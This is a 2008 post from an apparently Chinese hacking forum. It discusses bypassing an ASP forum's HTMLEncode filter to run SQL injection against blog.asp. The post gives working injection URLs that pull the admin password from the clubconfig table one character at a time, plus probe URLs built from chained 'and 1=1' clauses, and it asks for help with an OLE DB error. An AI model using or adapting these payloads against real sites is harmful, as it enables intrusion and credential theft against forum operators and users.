- 帖子
- 19
- 积分
- 28
- 威望
- 37
- 金钱
- 37
- 在线时间
- 0 小时
|
2楼
发表于 2008-7-25 13:53
| 只看该作者
这不是什么陷阱的问题了.HTMLEncode是在setup.asp中定义的,原型如下:
function HTMLEncode(fString)
fString=replace(fString,";",";")
fString=replace(fString,"<","<")
fString=replace(fString,">",">")
fString=replace(fString,"\","\")
fString=replace(fString,"--","--")
fString=replace(fString,"'","'")
fString=replace(fString," "," ")
fString=replace(fString,CHR(34),""")
fString=replace(fString,vbCrlf,"<br>")
HTMLEncode=fString
end function
也就是一个用来过滤掉一些HTML字符的函数而已
要绕开它进行SQL 注射很容易.像上次ShowForum.asp就是这样的
这个问题还没解决,现在又遇到了个新问题.
http://site/bbs/blog.asp?id=1%20and%20(select%20substring(adminpassword,1,1)%20from%20clubconfig)%20between%200x30%20and%200x5a
这是对blog.asp的SQL版利用方式.结果是,有些论坛可以成功,一位一位的暴出密码,而有些则出错
Microsoft OLE DB Provider for SQL Server 错误 '80040e21'
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。
/bbs/blog.asp,行 14
很是郁闷,个人感觉语句是一点问题也没有的
上次玩shwoforum.asp时是因为语句太长(感觉.因为改后抬密码的时候有32位,要分两次,具体的分析见本人发表在2005年5月的《黑客X档案》上的文章)而这次感觉不像~
因为换成一些简单的SQL语句是不出错的:
http://site/bbs/blog.asp?id=1%20and%20exists%20(select%20today%20from%20clubconfig)
而在后面拼命的加 and 1=1 and 1=1
比如
http://site/bbs/blog.asp?id=1%20and%20exists%20(select%20today%20from%20clubconfig)%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1%20and%201=1
有兴趣你还可以自己再加。
反正就是不出错
这又是一个问题,还是老话,希望大家一起来讨论一下个人论坛: http://www.xdxf.net
帖子60 精华2 积分3417 阅读权限100 性别男 在线时间134 小时 注册时间2005-5-3 最后登录2008-5-28 查看详细资料TOP 软件项目外包
职业欠钱
荣誉会员
|
|